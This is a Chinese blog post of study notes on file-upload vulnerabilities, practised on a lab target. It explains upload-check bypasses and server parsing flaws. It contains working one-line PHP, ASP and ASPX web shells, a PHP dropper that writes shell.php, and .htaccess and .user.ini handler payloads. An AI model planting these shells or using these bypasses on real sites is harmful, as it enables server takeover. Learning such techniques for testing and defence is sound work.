文件上传漏洞原理和利用

一句话木马&菜刀原理

一、一句话木马的了解

"一句话木马"服务端(本地存储的脚本木马文件):

就是我们要用来将恶意代码上传到服务器的网站中执行权限,

该语句触发后,接收入侵者通过客户端提交的数据,执行并完成相应的操作。服务端的代码内容为<?php @eval($_POST['fox']) ?>

其中fox可以自己修改,如:<?php @eval($_POST['cmd']) ?>

"一句话木马"客户端(远程服务器上被插入一句话的asp可执行文件):

用来向服务端提交控制数据的,提交的数据通过服务端构成完整的功能语句并执行,也就是生成我们所需要的木马文件。

好处:一句话木马短小精悍,而且功能强人,隐蔽性非常好。

二、图片一句话木马的制作

因为有些网站他上传的时候检测上传文件的头目录,此时图片一句话的作用就体现出来了。

常试在jpg文件下加上一句话木马:

方法一(使用cmd的copy命令将木马文件和图片合并):

image1

注:/b:二进制;/a:ASCII码

方法二(使用uedit软件):

image2

三、关于脚本格式的的问题

jpg后缀不被php解析,直接显示为图片

四、菜刀的原理(通过解析抓取的数据包)注:可以也可以使用蚁剑

image3

五、补充:常用一句话木马

  • php的一句话木马:<?php $_GET[a]($_GET[b]);?> //通过git传输建立连接
  • php的一句话木马:<?php @eval($_POST['pass']);?> //通过post传输建立连接
  • asp的一句话是:<%eval request ("pass")%>
  • aspx的一句话是:<%@ Page Language="Jscript"%><%eval(Request.ltem["pass"], "unsafe");%>

JS+MIME+文件拓展名

JS绕过文件上传

js验证本地上传第一种

  • js验证用于客户端本地的验证,所以你如果上传一个不正确的文件格式,它的判断会很快就会显示出来你上传的文件类型不正确(在本地验证,不会发送到服务器,所以如果同时进行抓包就会发现抓不到包)
  • js判断代码: onsubmit="return checkFile()",在前端的源码中将其直接删掉,那么这个验证就会失效,或者使用插件直接禁用js
    例:
image4

js验证本地上传第二种

尝试在允许上传的格式的文件里添加我们想要上传的文件格式

image5

js验证本地上传第三种

1.拷贝源代码,在本地分析。

⒉尝试删除Java script代码

3.指定在action=""中指定上传地址

image6 image7

js验证本地上传第四种

将我们要上传的文件改名,改为允许上传的文件,然后用burp进行抓包改包

例:

image8

MIME绕过文件上传

MIME:多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

即:服务器判断你上传的什么文件,content-type语句。

例:看下面两个抓包验证部分

image9

image10

可以看到上面的两种文件验证的类型是不一样的,那么如果将类型更改了,就可以正常上传,绕过验证

拓展名限制上传

1、大小写绕过文件上传

更改文件类型后缀的大小写可以绕过,但注意:此方法只适用于Windows服务器,因为Linux会区分大小写,而Windows不区分

例:

image11

2、点、空格绕过文件上传

由于Windows会自动过滤空格和点,那么通过burp suite抓包后添加空格和点后再上传,服务器端会自动将空格和点去除

例:

image12

3、.htaccess文件绕过上传

  • .htaccess文件(或者”分布式配置文件”)提供了针对每个目录改变配置的方法,即:在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。

  • 简单来说,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置

  • 他的功能有,网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户对目录的访问、禁止目录列表、配置默认文档等

  • .htaccess文件代码1:

    <FilesMatch "evil.gif">
    
    SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
    
    AddHandler php5-script .gif #在当前目录下,如果匹配到.gif文件,则被解析成PHP代码执行
    
    </FilesMatch\>
    

注:这里是把conf名字的文件全都以php来运行

  • .htaccess文件代码2:
    AddType application/x-httpd-php .jpg //将.jpg后缀的文件解析为php文件
  • 这里需要特殊文件进行创建
  • 上传后,使用菜刀进行连接,连接时,访问的是后门文件,而不是.htaccess文件,因为这个文件只是作为配置文件来使用的。

实例:
步骤一:先将.htaccess文件上传
image13

步骤二:上传后门文件(注,这里的后门文件虽然后缀为图片格式,但实际是文本格式,里面是一句话木马)
image14

步骤三:使用菜刀连接后门文件

文件拓展名&文件头验证&IIS6.0

拓展名限制上传

4、php345(345指php版本)文件绕过上传

这里用于绕过检测,同样可以执行上传的文件,例:将php修改为php3以绕过检测,php3这里指php版本3,

注:一般软件都是向下兼容的,php3的代码,php4同样兼容。

5、Windows : : $DATA绕过(只能用于Windows)

Windows下NTFS文件系统有一个特性,即:NTFS文件系统的存储数据流的一个属性 DATA时,就是请求a.php本身的数据,如果a.php还包含了其他的数据流,比如 a.php:lake2.php,请求a.php:lake2.php::$DATA,则是请求a.php中的流数据lake2.php的流数据内容。

简单来说就是在数据后加上::$DATA绕过

例:
将文件fox.php的文件名改为:fox.php::$DATA以绕过文件上传检测,那么在Windows下的NTFS文件管理系统的机制下会导致实际调用的依然是cmd.php

image15

注:在执行或连接的时候不需要写添加的后缀,只要原文件名即可,此处即:fox.php

6、Apache解析漏洞上传

Apache是从右到左开始判断解析,如果为不可识别解析,就继续往左判断。比如1.php.xxx对apache来说xxx是不可解析的,所以就会解析成1.php

例:
image16

成功上传,能够通过菜刀或蚁剑连接:

image17

注:连接时文件路径是原文件路径,此处即:1.php.xxx

7、phtml文件上传

由于phpstudy的安全性,不能解析php345文件,但能够解析phtml的文件格式,所以这里将文件后缀改为:.phtml 再上传即可。

8、.user.ini文件绕过上传

image18

在上传目录下存在readme.php的php文件,可以利用 .user.ini 文件 使得运行 readme.php 时 包含上传的图片,相当于readme.php也有web.jpg。

.user.ini文件内容:

auto_prepend_file=web.jpg #web.jpg是木马文件

特别注意:使用.user.ini的前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了

内容验证文件上传:上传时验证文件头,不同文件类型的文件头是不一样的,哪怕是人为直接更改文件后缀,但依然无法更改文件头

例:

步骤一:在文件种添加允许上传文件类型的文件头信息,并更改文件后缀为对应的文件后缀

image19

步骤二:上传时使用bp进行抓包,更改文件后缀

image20

注:几种图片的文件头:

image21

9、%00截断上传

原理:在C语言中00%表示字符串的结束符号,而PHP是C写的,所以继承了C的特性,所以在PHP中同样判断00%为结束符,后面的内容就不执行了。

POST类:0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。这个可以用在对文件类型名的绕过上。

例:

image22

但这样是错误的做法,因为:关于00截断get是可以自动转换的,post需要特殊转换。

所以我们需要将%00转为url格式再进行操作,将其转为url格式:

image23

转换后为:

image24

成功上传:

image25

GET类:自动解码一次,直接url拼接,不需要手工再转码

特别注意:00截断漏洞仅存在于php5.3.4及以下版本

IIS6.0解析漏洞

1、目录解析

以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。

比如1.asp/1.jpg,这里1.jpg会被当做asp文件执行

2、文件解析

*.asp;.jpg像这种畸形文件名在“;”后面的直接被忽略,也就是说当成*.asp文件执行。

比如1.asp;1.jpg命名的文件,同样是以asp脚本进行执行。

例:

1、我们先使用目录解析的方法,通过bp抓包添加文件路径:

image26

2、虽然bp显示成功,但我们去靶机的后台观察,发现其实并没有1.asp这个文件路径,这是因为没有创建文件夹的权限,因此此方法无效

image27

3、此时我们使用文件解析的方法,修改bp抓到的包进行上传:

image28

二次渲染

1、先搞个正常图片,上传导出渲染后的图片

2、对比保留部分,在保留部分添加后门代码

3、最后利用提示的文件包含执行图片后门代码

编辑器漏洞&IIS高版本思路

编辑器漏洞

1、编辑器

编辑器属于第三方软件,它的作用就是方便网站管理员上传或者编辑网站上的内容,类似我们电脑上的word文档那样。

2、编辑器分为两种情况

(1)不需要后台验证,可以直接在前台访问且,操作我们可以通过一下方法去找到编辑器:

  • 目录爆破(我们可以用御剑去扫描网站上的目录)
  • 蜘蛛爬行

(2)需要后台验证,才能操作编辑器

这种情况我们一般要先通过漏洞或其他方法登录后台

3、常用的编辑器有:

FCKeditor、EWEbeditor、CKFinder、UEDITOR、DotNetTextBox、CuteEditor

特别注意:存在以下路径的,一般都是存在编辑器的

4、FCKeditor编辑器漏洞利用

(1)FCKeditor常见上传目录

  • FCKeditorleditorlfilemanager/browserldefaultlconnectors/test.html
  • FCKeditorleditor/filemanager/upload/test.html
  • FCKeditor/editor/filemanager/connectors/test.html
  • FCKeditorleditorlfilemanagerlconnectors/uploadtest.html

(2)fck “.” 变 “_” 绕过方法

在高版本fck中,直接上传或抓包修改文件名为a.asp;.jpg,都会将前面的点变成下划线,也就是变成这样:a_asp;.jpg,这样我们的文件名解析就无效果了。

绕过方法

突破建立文件夹(实质就是利用我们iis6的目录解析)

image29

(3)实例

image30

(4)编辑器漏洞利用

1)、找到编辑器

观察编辑器路径的文件名来判断是上面编辑器,如:www.xxxx.com/FCKeditorleditor/filemanager/upload/test.html 这种就是FCK编辑器

2)、确认版本

3)、去搜索该版本的漏洞

5、EWEbeditor编辑器漏洞利用

(1)进后台

eweb编辑器默认数据库地址是:ewebeditor/dblewebeditor.mdb

(2)eweb遍历漏洞

ewebeditorladmin_uploadfile.asp?id=14&dir=../

(3)修改样式表上传文作

IIS高版本思路

1、畸形解析漏洞

  • 影响版本:iisT/iis7.5/nginx<0.8.03
  • 漏洞产生条件:开启Fast-CGI或php配置文件中开启了cgi.fix_pathinfo(只要是php+iis搭建的网站都会有这个漏洞,因为这是php配置文件的漏洞,高版本iis的都有这个问题)
  • 漏洞利用:当我们上传一个名叫1.jpg的图片文件,而这图片文件里面包含了以下代码:
<?php fputs(fopen('shell.php', 'w'),'<?php @eval($_POST['cmd'])?>') ?>
  • 这会生成一个叫shell.php的脚本文件,写人我们的一句话,密码为:cmd
  • 而我们一句话的位置是:上传的图片文件名字:shell.php
  • 如果图片没有被改名,那么现在我们的一句话文件在:1.jpg/shell.php

例:
image31

实操:

步骤一:

创建一个文件,里面写入代码:<?php fputs(fopen('shell.php', 'w'),'<?php @eval($_POST['cmd'])?>') ?>

image32

步骤二:

将创建的文件上传

步骤三:

利用畸形解析漏洞创建url,让上传的文件执行,会创建一个内容为:<?php @eval($_POST['cmd'])?>') ?> 的名为shell.php的文件,这时我们就可以使用菜刀或者蚁剑进行连接

image33

image34

2、aspx文件上传

通过将准备的aspx文件(配置文件)上传以达到绕过限制的目的

posted @ 2025-12-02 09:21  shinianyunyan  阅读(57)  评论(0)    收藏  举报